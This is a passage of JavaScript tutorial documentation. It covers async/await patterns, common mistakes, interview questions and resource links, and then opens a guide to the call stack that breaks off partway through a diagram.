└─────────────────────────────────────────────────────────────────────────┘ ``` ### The Solution: Promise.all for Parallel Execution When operations are independent, run them in parallel: ```javascript // ✓ FAST - All requests run simultaneously async function getUserDashboard(userId) { const [user, posts, notifications] = await Promise.all([ fetchUser(userId), // Starts immediately fetchPosts(userId), // Starts immediately fetchNotifications(userId) // Starts immediately ]) return { user, posts, notifications } // Total time: ~500ms (parallel - time of slowest request) } ``` ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ PARALLEL EXECUTION (FAST) │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ Time: 0ms 500ms │ │ │ │ │ │ ├─────────┤ │ │ │ user │ │ │ │ fetch │ │ │ ├─────────┤ Total: 500ms (3x faster!) │ │ │ posts │ │ │ │ fetch │ │ │ ├─────────┤ │ │ │ notifs │ │ │ │ fetch │ │ │ └─────────┘ │ │ │ │ All requests start at the SAME TIME! │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` ### When to Use Sequential vs Parallel | Use Sequential When | Use Parallel When | |---------------------|-------------------| | Each operation depends on the previous result | Operations are independent | | Order of execution matters | Order doesn't matter | | You need to stop on first failure | All results are needed | ### Promise.all vs Promise.allSettled **[Promise.all](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/all)** fails fast. If any Promise rejects, the whole thing rejects. **[Promise.allSettled](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/allSettled)** waits for all Promises and gives you results for each (fulfilled or rejected). ```javascript // Promise.all - fails fast async function getAllOrNothing() { try { const results = await Promise.all([ fetchUser(1), fetchUser(999), // This one fails fetchUser(3) ]) return results } catch (error) { // If ANY request fails, we end up here console.log('At least one request failed') } } // Promise.allSettled - get all results regardless of failures async function getAllResults() { const results = await Promise.allSettled([ fetchUser(1), fetchUser(999), // This one fails fetchUser(3) ]) // results = [ // { status: 'fulfilled', value: user1 }, // { status: 'rejected', reason: Error }, // { status: 'fulfilled', value: user3 } // ] const successful = results .filter(r => r.status === 'fulfilled') .map(r => r.value) const failed = results .filter(r => r.status === 'rejected') .map(r => r.reason) return { successful, failed } } ``` ### Mixed Pattern: Some Sequential, Some Parallel Sometimes you need a mix: some operations depend on others, but independent ones can run in parallel: ```javascript async function processOrder(orderId) { // Step 1: Must fetch order first const order = await fetchOrder(orderId) // Step 2: These can run in parallel (both depend on order, not each other) const [inventory, pricing] = await Promise.all([ checkInventory(order.items), calculatePricing(order.items) ]) // Step 3: Must wait for both before charging const payment = await processPayment(order, pricing) // Step 4: These can run in parallel (both depend on payment) const [receipt, notification] = await Promise.all([ generateReceipt(payment), sendConfirmationEmail(order, payment) ]) return { order, payment, receipt } } ``` --- ## The 5 Most Common async/await Mistakes ### Mistake #1: Forgetting await Without `await`, you get a Promise object instead of the resolved value. ```javascript // ❌ WRONG - response is a Promise, not a Response! async function fetchUser() { const response = fetch('/api/user') // Missing await! const data = response.json() // Error: response.json is not a function return data } // ✓ CORRECT async function fetchUser() { const response = await fetch('/api/user') const data = await response.json() return data } ``` <Warning> **The silent bug:** Sometimes forgetting `await` doesn't throw an error. You just get unexpected results. If you see `[object Promise]` in your output or undefined where you expected data, check for missing awaits. </Warning> ### Mistake #2: Using await in forEach `forEach` and async don't play well together. It just fires and forgets: ```javascript // ❌ WRONG - forEach doesn't await! async function processUsers(userIds) { userIds.forEach(async (id) => { const user = await fetchUser(id) console.log(user.name) }) console.log('Done!') // Prints BEFORE users are fetched! } // ✓ CORRECT - Use for...of for sequential async function processUsersSequential(userIds) { for (const id of userIds) { const user = await fetchUser(id) console.log(user.name) } console.log('Done!') // Prints after all users } // ✓ CORRECT - Use Promise.all for parallel async function processUsersParallel(userIds) { await Promise.all( userIds.map(async (id) => { const user = await fetchUser(id) console.log(user.name) }) ) console.log('Done!') // Prints after all users } ``` ### Mistake #3: Sequential await When Parallel is Better We covered this above, but it's worth repeating: ```javascript // ❌ SLOW - 3 seconds total async function getData() { const a = await fetchA() // 1 second const b = await fetchB() // 1 second const c = await fetchC() // 1 second return { a, b, c } } // ✓ FAST - 1 second total async function getData() { const [a, b, c] = await Promise.all([ fetchA(), fetchB(), fetchC() ]) return { a, b, c } } ``` ### Mistake #4: Not Handling Errors Unhandled Promise rejections can crash your application. ```javascript // ❌ WRONG - No error handling async function riskyOperation() { const data = await fetch('/api/might-fail') return data.json() } // If fetch fails, we get an unhandled rejection riskyOperation() // No .catch(), no try/catch // ✓ CORRECT - Handle errors async function safeOperation() { try { const data = await fetch('/api/might-fail') return data.json() } catch (error) { console.error('Operation failed:', error) return null // Or throw, or return error object } } // Or catch at the call site riskyOperation().catch(err => console.error('Failed:', err)) ``` ### Mistake #5: Missing await Before return in try/catch If you want to catch errors from a Promise inside a try/catch, you **must** use `await`. Without it, the Promise is returned before it settles, and the catch block never runs: ```javascript // ❌ WRONG - catch block won't catch fetch errors! async function fetchData() { try { return fetch('/api/data') // Promise returned before it settles } catch (error) { // This NEVER runs for fetch errors! console.error('Error:', error) } } // ✓ CORRECT - await lets catch block handle errors async function fetchData() { try { return await fetch('/api/data') // await IS needed here } catch (error) { console.error('Error:', error) throw error } } ``` **Why does this happen?** When you `return fetch(...)` without `await`, the Promise is immediately returned to the caller. If that Promise later rejects, the rejection happens *outside* the try/catch block, so the catch never sees it. <Warning> **Common misconception:** Some guides say `return await` is redundant. That's only true *outside* of try/catch blocks. Inside try/catch, you need `await` to catch errors from the Promise. </Warning> ```javascript // Outside try/catch, these ARE equivalent: async function noTryCatch() { return await fetch('/api/data') // await is optional here } async function noTryCatchSimpler() { return fetch('/api/data') // Same result, slightly cleaner } // But inside try/catch, they behave DIFFERENTLY: async function withTryCatch() { try { return await fetch('/api/data') // Errors ARE caught } catch (e) { /* handles errors */ } } async function brokenTryCatch() { try { return fetch('/api/data') // Errors NOT caught! } catch (e) { /* never runs for fetch errors */ } } ``` --- ## async/await vs Promise Chains Both async/await and Promise chains achieve the same result. The choice often comes down to readability and personal preference. ### Comparison Table | Aspect | async/await | Promise Chains | |--------|-------------|----------------| | **Readability** | Looks like sync code | Nested callbacks | | **Error Handling** | try/catch | .catch() | | **Debugging** | Better stack traces | Harder to trace | | **Conditionals** | Natural if/else | Nested .then() | | **Early Returns** | Just use return | Have to throw or nest | | **Loops** | for/for...of work naturally | Need recursion or reduce | ### When Promise Chains Might Be Better ```javascript // Promise chain is more concise for simple transformations fetchUser(id) .then(user => user.profileId) .then(fetchProfile) .then(profile => profile.avatarUrl) // async/await equivalent - more verbose async function getAvatarUrl(id) { const user = await fetchUser(id) const profile = await fetchProfile(user.profileId) return profile.avatarUrl } // Promise.race is cleaner with raw Promises const result = await Promise.race([ fetch('/api/main'), timeout(5000) ]) // Promise chain for "fire and forget" saveAnalytics(data).catch(console.error) // Don't await, just catch errors ``` ### When async/await Shines ```javascript // Complex conditional logic async function processOrder(order) { const inventory = await checkInventory(order.items) if (!inventory.available) { await notifyBackorder(order) return { status: 'backordered' } } const payment = await processPayment(order) if (payment.requiresVerification) { await requestVerification(payment) return { status: 'pending_verification' } } await shipOrder(order) return { status: 'shipped' } } // Loops with async operations async function migrateUsers(users) { for (const user of users) { await migrateUser(user) await delay(100) // Rate limiting } } // Complex error handling async function robustFetch(url, retries = 3) { for (let i = 0; i < retries; i++) { try { return await fetch(url) } catch (error) { if (i === retries - 1) throw error await delay(1000 * (i + 1)) // Exponential backoff } } } ``` --- ## Top-Level await [Top-level await](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/await#top-level-await) allows you to use `await` outside of async functions. This only works in ES modules. ```javascript // config.js (ES module) const response = await fetch('/config.json') export const config = await response.json() // main.js import { config } from './config.js' console.log(config) // Config is already loaded! ``` ### Where Top-Level await Works - **ES Modules** (files with `.mjs` extension or `"type": "module"` in package.json) - **Browser `<script type="module">`** - **Dynamic imports** ```html <!-- In browser --> <script type="module"> const data = await fetch('/api/data').then(r => r.json()) console.log(data) </script> ``` ### Use Cases ```javascript // 1. Loading configuration before app starts export const config = await loadConfig() // 2. Dynamic imports const module = await import(`./locales/${language}.js`) // 3. Database connection export const db = await connectToDatabase() // 4. Feature detection export const supportsWebGL = await checkWebGLSupport() ``` <Warning> **Careful:** Top-level await blocks the loading of the module and any modules that import it. Use it sparingly, only when you truly need the value before the module can be used. </Warning> --- ## Advanced Patterns ### Retry with Exponential Backoff ```javascript async function fetchWithRetry(url, options = {}) { const { retries = 3, backoff = 1000 } = options for (let attempt = 0; attempt < retries; attempt++) { try { const response = await fetch(url) if (!response.ok) { throw new Error(`HTTP ${response.status}`) } return response } catch (error) { const isLastAttempt = attempt === retries - 1 if (isLastAttempt) { throw error } // Wait with exponential backoff: 1s, 2s, 4s, 8s... const delay = backoff * Math.pow(2, attempt) console.log(`Attempt ${attempt + 1} failed, retrying in ${delay}ms...`) await new Promise(resolve => setTimeout(resolve, delay)) } } } // Usage const response = await fetchWithRetry('/api/flaky-endpoint', { retries: 5, backoff: 500 }) ``` ### Timeout Wrapper ```javascript async function withTimeout(promise, ms) { const timeout = new Promise((_, reject) => { setTimeout(() => reject(new Error(`Timeout after ${ms}ms`)), ms) }) return Promise.race([promise, timeout]) } // Usage try { const response = await withTimeout(fetch('/api/slow'), 5000) console.log('Success:', response) } catch (error) { console.log('Failed:', error.message) // "Timeout after 5000ms" } ``` ### Cancellation with AbortController ```javascript async function fetchWithCancellation(url, signal) { try { const response = await fetch(url, { signal }) return await response.json() } catch (error) { if (error.name === 'AbortError') { console.log('Fetch was cancelled') return null } throw error } } // Usage const controller = new AbortController() // Start the fetch const dataPromise = fetchWithCancellation('/api/data', controller.signal) // Cancel after 2 seconds if not done setTimeout(() => controller.abort(), 2000) const data = await dataPromise ``` ### Async Iterators (for await...of) For working with streams of async data: ```javascript async function* generateAsyncNumbers() { for (let i = 1; i <= 5; i++) { await new Promise(resolve => setTimeout(resolve, 1000)) yield i } } // Consume the async iterator async function processNumbers() { for await (const num of generateAsyncNumbers()) { console.log(num) // Prints 1, 2, 3, 4, 5 (one per second) } } ``` ### Converting Callback APIs to async/await ```javascript // Original callback-based API function readFileCallback(path, callback) { fs.readFile(path, 'utf8', (err, data) => { if (err) callback(err) else callback(null, data) }) } // Promisified version function readFileAsync(path) { return new Promise((resolve, reject) => { fs.readFile(path, 'utf8', (err, data) => { if (err) reject(err) else resolve(data) }) }) } // Now you can use async/await async function processFile(path) { const content = await readFileAsync(path) return content.toUpperCase() } // Or use util.promisify (Node.js) const { promisify } = require('util') const readFileAsync = promisify(fs.readFile) ``` --- ## Interview Questions ### Question 1: What's the Output? ```javascript async function test() { console.log('1') await Promise.resolve() console.log('2') } console.log('A') test() console.log('B') ``` <Accordion title="Answer"> **Output:** `A`, `1`, `B`, `2` **Explanation:** 1. `console.log('A')` — synchronous → "A" 2. `test()` is called: - `console.log('1')` — synchronous → "1" - `await Promise.resolve()` — pauses test(), schedules continuation as microtask - Returns to caller 3. `console.log('B')` — synchronous → "B" 4. Call stack empty → microtask runs → `console.log('2')` → "2" The pattern: Code before `await` runs synchronously. Code after `await` becomes a microtask. </Accordion> ### Question 2: Sequential vs Parallel ```javascript // Version A async function versionA() { const start = Date.now() const a = await delay(1000) const b = await delay(1000) console.log(`Time: ${Date.now() - start}ms`) } // Version B async function versionB() { const start = Date.now() const [a, b] = await Promise.all([delay(1000), delay(1000)]) console.log(`Time: ${Date.now() - start}ms`) } function delay(ms) { return new Promise(resolve => setTimeout(resolve, ms)) } ``` <Accordion title="Answer"> **versionA:** ~2000ms (sequential — waits 1s, then another 1s) **versionB:** ~1000ms (parallel — both delays run simultaneously) This is the classic "sequential vs parallel" interview question. In versionA, each `await` must complete before the next line runs. In versionB, both Promises are created immediately, then `Promise.all` waits for both to complete while they run in parallel. </Accordion> ### Question 3: Error Handling ```javascript async function outer() { try { await inner() console.log('After inner') } catch (e) { console.log('Caught:', e.message) } } async function inner() { throw new Error('Oops!') } outer() ``` <Accordion title="Answer"> **Output:** `Caught: Oops!` "After inner" is never printed because `inner()` throws, which causes the `await inner()` to reject, which jumps to the catch block. This demonstrates that async/await error handling works like synchronous try/catch. Errors "propagate up" naturally. </Accordion> ### Question 4: The forEach Trap ```javascript async function processItems() { const items = [1, 2, 3] items.forEach(async (item) => { await delay(100) console.log(item) }) console.log('Done') } function delay(ms) { return new Promise(resolve => setTimeout(resolve, ms)) } processItems() ``` <Accordion title="Answer"> **Output:** ``` Done 1 2 3 ``` (Not `1`, `2`, `3`, `Done` as you might expect!) **Why:** `forEach` doesn't wait for async callbacks. It fires off all three async functions and immediately continues to `console.log('Done')`. The numbers print later when their delays complete. **Fix:** Use `for...of` for sequential or `Promise.all` with `map` for parallel. </Accordion> ### Question 5: What's Wrong Here? ```javascript async function getData() { try { return fetch('/api/data') } catch (error) { console.error('Failed:', error) return null } } ``` <Accordion title="Answer"> **Issue:** The `catch` block will never catch fetch errors. When you `return fetch(...)` without `await`, the Promise is returned *before* it settles. If the fetch later fails, the rejection happens outside the try/catch block. ```javascript // ❌ WRONG - catch never runs for fetch errors async function getData() { try { return fetch('/api/data') // Promise returned immediately } catch (error) { console.error('Failed:', error) // Never runs! return null } } // ✓ CORRECT - await lets catch block handle errors async function getData() { try { return await fetch('/api/data') // await IS needed } catch (error) { console.error('Failed:', error) // Now this runs on error return null } } ``` **Note:** Outside of try/catch, `return await` and `return` behave the same. The `await` only matters when you need to catch errors or do something with the value before returning. </Accordion> --- ## Key Takeaways <Info> **The key things to remember:** 1. **async/await is syntactic sugar over Promises** — it doesn't change how async works, just how you write it 2. **async functions always return Promises** — even if you return a plain value, it's wrapped in Promise.resolve() 3. **await pauses the function, not the thread** — other code can run while waiting; JavaScript stays non-blocking 4. **Code after await becomes a microtask** — it runs after the current synchronous code completes, but before setTimeout callbacks 5. **Use try/catch for error handling** — it works just like synchronous code and catches both sync errors and Promise rejections 6. **await in forEach doesn't work as expected** — use for...of for sequential or Promise.all with map for parallel 7. **Prefer parallel over sequential** — use Promise.all when operations are independent; it's often 2-10x faster 8. **Don't forget await** — without it, you get a Promise object instead of the resolved value 9. **Top-level await only works in ES modules** — not in regular scripts or CommonJS 10. **async/await and Promises are interchangeable** — choose based on readability for your specific use case </Info> --- ## Test Your Knowledge <AccordionGroup> <Accordion title="Question 1: What does the async keyword do to a function?"> **Answer:** The `async` keyword does two things: 1. Makes the function **always return a Promise** — even if you return a non-Promise value, it gets wrapped in `Promise.resolve()` 2. Enables the use of `await` inside the function ```javascript async function example() { return 42 } example().then(value => console.log(value)) // 42 console.log(example()) // Promise {<fulfilled>: 42} ``` </Accordion> <Accordion title="Question 2: What's the difference between these two?"> ```javascript // Version A const data = await fetchData() // Version B const data = fetchData() ``` **Answer:** - **Version A:** `data` contains the resolved value (e.g., the actual JSON object) - **Version B:** `data` contains a Promise object, not the resolved value Version B is a common mistake that leads to bugs like seeing `[object Promise]` or getting undefined properties. </Accordion> <Accordion title="Question 3: How do you run async operations in parallel?"> **Answer:** Use `Promise.all()` to run multiple async operations simultaneously: ```javascript // ❌ Sequential (slow) const a = await fetchA() const b = await fetchB() const c = await fetchC() // ✓ Parallel (fast) const [a, b, c] = await Promise.all([ fetchA(), fetchB(), fetchC() ]) ``` For cases where you want all results even if some fail, use `Promise.allSettled()`. </Accordion> <Accordion title="Question 4: Why doesn't await work inside forEach?"> **Answer:** `forEach` is not async-aware. It doesn't wait for the callback's Promise to resolve before continuing. It just fires off all the async callbacks and moves on. ```javascript // ❌ Doesn't wait items.forEach(async item => { await processItem(item) }) console.log('Done') // Prints before items are processed! // ✓ Sequential - use for...of for (const item of items) { await processItem(item) } console.log('Done') // Prints after all items // ✓ Parallel - use Promise.all with map await Promise.all(items.map(item => processItem(item))) console.log('Done') // Prints after all items ``` </Accordion> <Accordion title="Question 5: How do you handle errors in async functions?"> **Answer:** Use `try/catch` blocks, which work just like synchronous error handling: ```javascript async function fetchData() { try { const response = await fetch('/api/data') if (!response.ok) { throw new Error(`HTTP ${response.status}`) } return await response.json() } catch (error) { console.error('Fetch failed:', error) throw error // Re-throw if caller should handle it } finally { // Cleanup code that always runs } } ``` You can also use `.catch()` at the call site: `fetchData().catch(handleError)` </Accordion> <Accordion title="Question 6: What's the output order and why?"> ```javascript console.log('1') setTimeout(() => console.log('2'), 0) Promise.resolve().then(() => console.log('3')) async function test() { console.log('4') await Promise.resolve() console.log('5') } test() console.log('6') ``` **Answer:** `1`, `4`, `6`, `3`, `5`, `2` **Explanation:** 1. `'1'` — synchronous 2. `setTimeout` callback → task queue 3. `.then` callback → microtask queue 4. `test()` called → `'4'` — synchronous part of async function 5. `await` → schedules `'5'` as microtask, returns to caller 6. `'6'` — synchronous 7. Call stack empty → process microtasks: `'3'` then `'5'` 8. Microtasks done → process task queue: `'2'` Key: Microtasks (Promises, await continuations) run before macrotasks (setTimeout). </Accordion> </AccordionGroup> --- ## Frequently Asked Questions <AccordionGroup> <Accordion title="What is async/await in JavaScript?"> Async/await is syntactic sugar introduced in ECMAScript 2017 that makes asynchronous code look and behave like synchronous code. The `async` keyword marks a function as returning a Promise, and `await` pauses execution until that Promise settles. Under the hood, it is still using Promises — await is equivalent to calling `.then()` on the awaited value. </Accordion> <Accordion title="Is async/await better than using Promises directly?"> Async/await is generally more readable, especially for sequential operations and error handling with try/catch. However, raw Promise methods like `Promise.all()` are still essential for parallel execution. According to the 2023 State of JS survey, async/await is the most widely used async pattern among JavaScript developers, but both approaches have their place. </Accordion> <Accordion title="How do you handle errors with async/await?"> Wrap your `await` calls in a `try/catch` block. The `catch` block receives the rejection reason, just like `.catch()` in Promise chains. You can also add a `finally` block for cleanup logic. This is one of the biggest advantages of async/await — error handling uses the same familiar syntax as synchronous code. </Accordion> <Accordion title="What is the difference between sequential and parallel async execution?"> Sequential execution uses `await` on each call one after another — each waits for the previous to complete. Parallel execution uses `Promise.all([...])` to start multiple operations simultaneously. Parallel is faster when operations are independent. A common mistake is accidentally writing sequential code when parallel would be appropriate. </Accordion> <Accordion title="Can you use await at the top level of a module?"> Yes. Top-level `await` was standardized in ECMAScript 2022 and works in ES modules (files with `type="module"` or `.mjs` extension). It lets you `await` Promises at the module's top scope without wrapping them in an async function. This is useful for dynamic imports, configuration loading, and module initialization. </Accordion> </AccordionGroup> --- ## Related Concepts <CardGroup cols={2}> <Card title="Promises" icon="handshake" href="/concepts/promises"> async/await is built on Promises. Knowing Promises well makes async/await easier </Card> <Card title="Event Loop" icon="arrows-spin" href="/concepts/event-loop"> Learn how JavaScript handles async operations and why await creates microtasks </Card> <Card title="Callbacks" icon="phone" href="/concepts/callbacks"> The original async pattern that async/await replaced </Card> <Card title="Fetch API" icon="cloud" href="/concepts/http-fetch"> The most common use case for async/await: making HTTP requests </Card> </CardGroup> --- ## Reference <CardGroup cols={2}> <Card title="async function — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/async_function"> Complete reference for async function declarations and expressions </Card> <Card title="await — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/await"> Documentation for the await operator and its behavior </Card> <Card title="Promise — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise"> The foundation that async/await is built on </Card> <Card title="try...catch — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/try...catch"> Error handling syntax used with async/await </Card> </CardGroup> ## Articles <CardGroup cols={2}> <Card title="JavaScript Async/Await Tutorial" icon="newspaper" href="https://javascript.info/async-await"> The go-to reference for async/await fundamentals. Includes exercises at the end to test your understanding of rewriting promise chains. </Card> <Card title="How to Use Async/Await in JavaScript" icon="newspaper" href="https://www.freecodecamp.org/news/javascript-async-await-tutorial-learn-callbacks-promises-async-await-by-making-icecream/"> Learn async patterns by building a virtual ice cream shop. The GIFs comparing sync vs async execution are worth the visit alone. </Card> <Card title="7 Reasons Why Async/Await Is Better Than Promises" icon="newspaper" href="https://dev.to/gafi/7-reasons-to-always-use-async-await-over-plain-promises-tutorial-4ej9"> Side-by-side code comparisons that show exactly how async/await cleans up promise chains. The debugging section alone is worth bookmarking. </Card> <Card title="JavaScript Visualized: Promises & Async/Await" icon="newspaper" href="https://dev.to/lydiahallie/javascript-visualized-promises-async-await-5gke"> Animated GIFs that show the call stack, microtask queue, and event loop in action. This is how async/await finally "clicked" for thousands of developers. </Card> <Card title="How to Escape Async/Await Hell" icon="newspaper" href="https://medium.freecodecamp.org/avoiding-the-async-await-hell-c77a0fb71c4c"> The pizza-and-drinks ordering example makes parallel vs sequential execution crystal clear. Essential reading once you know the basics. </Card> </CardGroup> ## Videos <CardGroup cols={2}> <Card title="JavaScript Async/Await" icon="video" href="https://www.youtube.com/watch?v=V_Kr9OSfDeU"> Web Dev Simplified breaks down async/await in 12 minutes. Perfect if you learn better from watching code being written live. </Card> <Card title="Async + Await in JavaScript" icon="video" href="https://www.youtube.com/watch?v=9YkUCxvaLEk"> Wes Bos at dotJS 2017. An energetic talk that covers async/await patterns with real API calls. The crowd reactions tell you which parts trip people up. </Card> <Card title="Asynchronous JavaScript Crash Course" icon="video" href="https://www.youtube.com/watch?v=exBgWAIeIeg"> Traversy Media's full async journey from callbacks through promises to async/await. Great if you want to see how we got here historically. </Card> <Card title="Async Await in JavaScript" icon="video" href="https://youtu.be/Gjbr21JLfgg"> Hitesh Choudhary's hands-on walkthrough with coding examples. Hindi and English explanations make concepts accessible to a wider audience. </Card> </CardGroup> ================================================ FILE: docs/concepts/call-stack.mdx ================================================ --- title: "Call Stack" sidebarTitle: "Call Stack: How Function Execution Works" description: "Learn how the JavaScript call stack works. Understand stack frames, LIFO ordering, execution contexts, and stack overflow errors." "og:type": "article" "article:author": "Leonardo Maldonado" "article:section": "JavaScript Fundamentals" "article:tag": "javascript call stack, execution context, stack overflow, LIFO, function execution, stack frame" --- How does JavaScript keep track of which function is running? When a function calls another function, how does JavaScript know where to return when that function finishes? The answer is the **[call stack](https://developer.mozilla.org/en-US/docs/Glossary/Call_stack)**. It's JavaScript's mechanism for tracking function execution. ```javascript function greet(name) { const message = createMessage(name) console.log(message) } function createMessage(name) { return "Hello, " + name + "!" } greet("Alice") // "Hello, Alice!" ``` When `greet` calls `createMessage`, JavaScript remembers where it was in `greet` so it can return there after `createMessage` finishes. The call stack is what makes this possible. <Info> **What you'll learn in this guide:** - What the call stack is and why JavaScript needs it - How functions are added and removed from the stack - What happens step-by-step when your code runs - Why you sometimes see "Maximum call stack size exceeded" errors - How to debug call stack issues like a pro </Info> <Warning> **Prerequisite:** This guide assumes basic familiarity with [JavaScript functions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Functions). If you're new to functions, start there first! </Warning> --- ## The Stack of Plates: A Real-World Analogy Imagine you're working in a restaurant kitchen, washing dishes. As clean plates come out, you stack them one on top of another. When a server needs a plate, they always take the one from the **top** of the stack, not from the middle or bottom. ``` ┌───────────┐ │ Plate 3 │ ← You add here (top) ├───────────┤ │ Plate 2 │ ├───────────┤ │ Plate 1 │ ← First plate (bottom) └───────────┘ ``` This is exactly how JavaScript keeps track of your functions! When you call a function, JavaScript puts it on top of a "stack." When that function finishes, JavaScript removes it from the top and goes back to whatever was underneath. This simple concept, **adding to the top and removing from the top**, is the foundation of how JavaScript executes your code. --- ## What is the Call Stack? The **[call stack](https://developer.mozilla.org/en-US/docs/Glossary/Call_stack)** is a mechanism that JavaScript uses to keep track of where it is in your code. Think of it as JavaScript's "to-do list" for function calls, but one where it can only work on the item at the top. ```javascript function first() { second(); } function second() { third(); } function third() { console.log('Hello!'); } first(); // Stack grows: [first] → [second, first] → [third, second, first] // Stack shrinks: [second, first] → [first] → [] ``` ### The LIFO Principle The call stack follows a principle called **LIFO**: **Last In, First Out**. - **Last In**: The most recent function call goes on top - **First Out**: The function on top must finish before we can get to the ones below ``` LIFO = Last In, First Out ┌─────────────────┐ │ function C │ ← Last in (most recent call) ├─────────────────┤ First to finish and leave │ function B │ ├─────────────────┤ │ function A │ ← First in (earliest call) └─────────────────┘ Last to finish ``` ### Why Does JavaScript Need a Call Stack? JavaScript is **[single-threaded](https://developer.mozilla.org/en-US/docs/Glossary/Thread)**, meaning it can only do **one thing at a time**. According to the ECMAScript specification, each function invocation creates a new execution context that gets pushed onto the stack. The call stack helps JavaScript: 1. **Remember where it is** — Which function is currently running? 2. **Know where to go back** — When a function finishes, where should execution continue? 3. **Keep track of local variables** — Each function has its own variables that shouldn't interfere with others <Info> **ECMAScript Specification**: According to the official JavaScript specification, the call stack is implemented through "[execution contexts](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Execution_model#stack_and_execution_contexts)." Each function call creates a new execution context that gets pushed onto the stack. </Info> --- ## How the Call Stack Works: Step-by-Step Let's trace through a simple example to see the call stack in action. ### A Simple Example ```javascript function greet(name) { const greeting = createGreeting(name); console.log(greeting); } function createGreeting(name) { return "Hello, " + name + "!"; } // Start here greet("Alice"); console.log("Done!"); ``` ### Step-by-Step Execution <Steps> <Step title="Program Starts"> JavaScript begins executing your code from top to bottom. The call stack is empty. ``` Call Stack: [ empty ] ``` </Step> <Step title="greet('Alice') is Called"> JavaScript sees `greet("Alice")` and pushes `greet` onto the call stack. ``` Call Stack: [ greet ] ``` Now JavaScript enters the `greet` function and starts executing its code. </Step> <Step title="createGreeting('Alice') is Called"> Inside `greet`, JavaScript encounters `createGreeting(name)`. It pushes `createGreeting` onto the stack. ``` Call Stack: [ createGreeting, greet ] ``` Notice: `greet` is **paused** while `createGreeting` runs. JavaScript can only do one thing at a time! </Step> <Step title="createGreeting Returns"> `createGreeting` finishes and returns `"Hello, Alice!"`. JavaScript pops it off the stack. ``` Call Stack: [ greet ] ``` The return value (`"Hello, Alice!"`) is passed back to `greet`. </Step> <Step title="greet Continues and Finishes"> Back in `greet`, the returned value is stored in `greeting`, then `console.log` runs. Finally, `greet` finishes and is popped off. ``` Call Stack: [ empty ] ``` </Step> <Step title="Program Continues"> With the stack empty, JavaScript continues to the next line: `console.log("Done!")`. **Output:** ``` Hello, Alice! Done! ``` </Step> </Steps> ### Visual Summary <Tabs> <Tab title="Stack Animation"> ``` Step 1: Step 2: Step 3: Step 4: Step 5: ┌─────────┐ ┌─────────┐ ┌────────────────┐ ┌─────────┐ ┌─────────┐ │ (empty) │ → │ greet │ → │createGreeting │ → │ greet │ → │ (empty) │ └─────────┘ └─────────┘ ├────────────────┤ └─────────┘ └─────────┘ │ greet │ └────────────────┘ Program greet() createGreeting() createGreeting greet() starts called called returns returns ``` </Tab> <Tab title="Execution Table"> | Step | Action | Stack (top → bottom) | What's Happening | |------|--------|---------------------|------------------| | 1 | Start | `[]` | Program begins | | 2 | Call `greet("Alice")` | `[greet]` | Enter greet function | | 3 | Call `createGreeting("Alice")` | `[createGreeting, greet]` | greet pauses, enter createGreeting | | 4 | Return from createGreeting | `[greet]` | createGreeting done, back to greet | | 5 | Return from greet | `[]` | greet done, continue program | | 6 | `console.log("Done!")` | `[]` | Print "Done!" | </Tab> </Tabs> --- ## Execution Context: What's Actually on the Stack? When we say a function is "on the stack," what does that actually mean? Each entry on the call stack is called an **[execution context](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Execution_model#stack_and_execution_contexts)**, sometimes referred to as a **stack frame** in general computer science terms. It contains everything JavaScript needs to execute that function. <AccordionGroup> <Accordion title="Function Arguments"> The values passed to the function when it was called. ```javascript function greet(name, age) { // Arguments: { name: "Alice", age: 25 } } greet("Alice", 25); ``` </Accordion> <Accordion title="Local Variables"> Variables declared inside the function with `var`, `let`, or `const`. ```javascript function calculate() { const x = 10; // Local variable let y = 20; // Local variable var z = 30; // Local variable // These only exist inside this function } ``` </Accordion> <Accordion title="The 'this' Keyword"> The value of `this` inside the function, which depends on how the function was called. ```javascript const person = { name: "Alice", greet() { console.log(this.name); // 'this' refers to person } }; ``` </Accordion> <Accordion title="Return Address"> Where JavaScript should continue executing after this function returns. This is how JavaScript knows to go back to the right place in your code. </Accordion> <Accordion title="Scope Chain"> Access to variables from outer (parent) functions. This is how closures work! ```javascript function outer() { const message = "Hello"; function inner() { console.log(message); // Can access 'message' from outer } inner(); } ``` </Accordion> </AccordionGroup> ### Visualizing an Execution Context ``` ┌─────────────────────────────────────────┐ │ EXECUTION CONTEXT │ │ Function: greet │ ├─────────────────────────────────────────┤ │ Arguments: { name: "Alice" } │ │ Local Vars: { greeting: undefined } │ │ this: window (or undefined) │ │ Return to: line 12, main program │ │ Outer Scope: [global scope] │ └─────────────────────────────────────────┘ ``` --- ## Nested Function Calls: A Deeper Example Let's look at a more complex example with multiple levels of function calls. ```javascript function multiply(x, y) { return x * y; } function square(n) { return multiply(n, n); } function printSquare(n) { const result = square(n); console.log(result); } printSquare(4); ``` ### Tracing the Execution <Tabs> <Tab title="Step-by-Step"> **Step 1: Call printSquare(4)** ``` Stack: [ printSquare ] ``` **Step 2: printSquare calls square(4)** ``` Stack: [ square, printSquare ] ``` **Step 3: square calls multiply(4, 4)** ``` Stack: [ multiply, square, printSquare ] ``` This is the **maximum stack depth** for this program: 3 frames. **Step 4: multiply returns 16** ``` Stack: [ square, printSquare ] ``` **Step 5: square returns 16** ``` Stack: [ printSquare ] ``` **Step 6: printSquare logs 16 and returns** ``` Stack: [ empty ] ``` **Output: `16`** </Tab> <Tab title="Full Diagram"> ``` printSquare(4) square(4) multiply(4,4) multiply square printSquare called called called returns 16 returns 16 returns ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ ┌─────────┐ │printSquare │ → │ square │ → │ multiply │ → │ square │ → │printSquare │ → │ (empty) │ └─────────────┘ ├─────────────┤ ├─────────────┤ ├─────────────┤ └─────────────┘ └─────────┘ 